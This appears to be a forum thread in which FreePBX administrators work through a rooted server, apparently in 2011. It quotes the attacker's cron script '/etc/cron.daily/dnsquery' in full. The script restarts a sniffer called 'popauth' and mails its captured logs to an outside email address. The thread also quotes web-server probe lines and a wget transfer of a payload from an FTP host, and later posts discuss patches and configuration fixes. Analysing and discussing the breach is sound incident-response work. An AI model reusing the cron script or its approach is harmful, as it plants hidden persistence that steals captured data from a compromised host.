Seems one of my FreePBX distro installs was rooted. This was a 1.8.2.0 install fully updated with no additional software or customizations. So far I have not figured out how the attacker got in…root password was strong, PBX admin passwords were strong and sshd was set to disallow root logins. Kinda nervous now about my other installs, although they look okay so far.
Do you guys have any good advice what I should look for to try to find the point of entry? I’m currently doing a post-mortem on the disk image of the machine but have not found anything conclusive yet.
/etc/cron.daily/dnsquery:
./popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
mkdir: cannot create directory `/usr/share/misc/': File exists
mkdir: cannot create directory `/usr/share/misc/blah/': File exists
popauth: no process killed
popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
/etc/cron.daily/dnsquery contained:
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
mkdir /usr/share/misc/
mkdir /usr/share/misc/blah/
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail [email protected] -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
Since I posted I also found this in /var/log/httpd/error:
[Sun Aug 07 04:02:06 2011] [notice] Digest: generating secret for digest authentication ...
[Sun Aug 07 04:02:06 2011] [notice] Digest: done
[Sun Aug 07 04:02:06 2011] [notice] Apache/2.2.3 (CentOS) configured -- resuming normal operations
[Mon Aug 08 00:14:08 2011] [error] [client 119.57.53.168] File does not exist: /var/www/html/w00tw00t.at.blackhats.romanian.anti-sec:)
[Mon Aug 08 00:14:11 2011] [error] [client 119.57.53.168] File does not exist: /var/www/html/pma
[Mon Aug 08 00:14:12 2011] [error] [client 119.57.53.168] File does not exist: /var/www/html/myadmin
[Mon Aug 08 00:14:12 2011] [error] [client 119.57.53.168] File does not exist: /var/www/html/MyAdmin
--2011-08-08 00:14:27-- ftp://lib:*password*@69.2.104.7/n.pdf
=> `n.pdf'
Connecting to 69.2.104.7:21... --2011-08-08 00:14:27-- ftp://lib:*password*@69.2.104.7/n.pdf
=> `n.pdf'
Connecting to 69.2.104.7:21... connected.
Logging in as lib ... connected.
Logging in as lib ... Logged in!
==> SYST ... Logged in!
==> SYST ... done. ==> PWD ... done. ==> PWD ... done.
==> TYPE I ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE n.pdf ... done. ==> CWD not needed.
==> SIZE n.pdf ... 29711
==> PASV ... 29711
==> PASV ... done. ==> RETR n.pdf ... done. ==> RETR n.pdf ... done.
Length: 29711 (29K)
0K ..done.
n.pdf has sprung into existence.
Retrying.
........ .......... ......... 100% 553K=0.05s
2011-08-08 00:14:27 (553 KB/s) - `n.pdf' saved [29711]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 9 29711 9 2896 0 0 11791 0 0:00:02 --:--:-- 0:00:02 11791^M100 29711 100 29711 0 0 93591 0 --:--:-- --:--:-- --:--:-- 368k
sh: fetch: command not found
It appears to be an attack on/through the web server. Was dnsquery file created around the same time as the messages in the error log? Likely “n.pdf” was a script that somehow was tricked into downloading and being executed. There are many reports of problems in phpMyAdmin in the past as well as other web programs. Search the web for “dnsquery popauth” and there are lots of matches going back a long time.
Would be nice to see the access_log at the same time as the errors, perhaps it would lead to a clue on what was hit last that had the problem. But likely that was deleted to hide the tracks.
I did have port 80 accessible as I have some mobile users who use the web interface. My other installs look clean so far and I have blocked port 80 on them for now. The access_log had almost nothing…just one line which led me to another backdoor installed:
ya well there are some really nasty exploits in apache with the versions centos 5.5 and 5.6 use that we have battled recently on some servers for customers. Bryan is building some custom apache RPM’s as we speak that will be available in our yum hopefully tomorrow that have the patches to close the exploits. They might be there now if you are lucky to try and update to.
Hence why we never recommend leaving port 80 open to the whole world and even more dangerous with “other” distros who give setup the apache user with sudo rights to root commands and why we would never do something so foolish because than your apache user has all the same rights as the root user.
I keep my freepbx behind a firewall and only access through VPN. Other web services I put behind a web application firewall with regularly updated firewall rules (typically running https on the outside of the firewall).
Not sure if this really helps security or just makes me feel better.
Disclaimer: I am just a home user playing with freepbx for fun, learning, inexpensive phone calls, and home enjoyment (so I can page the kids upstairs).
I advise everyone to install the latest upgrade ASAP due to some severe exploits we have been battling for other FreePBX Support customers for the past week. Centos 5.5, 5.6 and 6.0 all have these exploits still exposed.
Thanks for jumping on top of these bugs. I updated distro to latest (1.8.2.0-2) and encountered this error on the second stage. I don’t use the paid sysadmin module and the update otherwise continued and completed:
[code]No package sysadmin-2.2-1-1 available.
Nothing to do
SCRIPT—FAILED ON STAGE 2–Failed to verify sysadmin-2.2-1-1 RPM was installed
Sorry about that. I fat fingered it and than caught the mistake but never synced the 3 webservers so only one server had the correct file. It is correct now. It should be 2.2.1-1
No at this time for security reasons I think it would be irresponsible of us to state the exact exploits as to draw more attention to them and invite more hackers to go after it. Just trust us that we have seen over 50 boxes compromised in the last week from it already.
Drat, after the update I can no longer http into the server locally. I’m getting 403 permission errors (Chrome, Safari). Stopped and restarted httpd (no issues), amportal restart, restarted the server, re-installed the update, no dice. Going through the update log, this is the only thing that stands out (aside from the sysadmin typo error above).
[code]…Please update your modules and reload Asterisk by browsing to your server.
Successfully reloaded
./upgrade-1.8.2.0-2.sh: line 66: /usr/sbin/amportal: No such file or directory
./upgrade-1.8.2.0-2.sh: line 71: /usr/sbin/amportal: No such file or directory
Confirmed this behavior on a second FreePBX distro machine. After this update, http is no longer accessible locally. PBX functions appear to work normally.
sed -i ‘s/^Group apache/Group asterisk/g’ /etc/httpd/conf/httpd.conf
sed -i ‘s/^User apache/User asterisk/g’ /etc/httpd/conf/httpd.conf
service httpd restart
Apparently our stupid sync was still not syncing. I have confirmed all 3 web servers have the correct scripts now.
Anyone install upgrades now will not neeed to do this as we changed how we were dealing with httpd.conf files but if you ran the upgrade in the past 30 minutes you will need to do the above commands.
Interesting link you found. That is the exact contents of the dnsquery file on my system. Seemed it was only emailing home when the cron job was run though. I never log in directly as the root user and actually only ever use key-pair authentication for SSH so I am assuming a key-logger wouldn’t be grabbing my password. I did change the passwords on all the machines I admin though, just in case!
I never did find out how it was done. The attacker emptied all log files and cleaned up pretty well.
The server was a VM image, which I have saved for further analysis. One other interesting effect: the image no longer boots. Something else must have been inserted into the boot process which is hanging it up.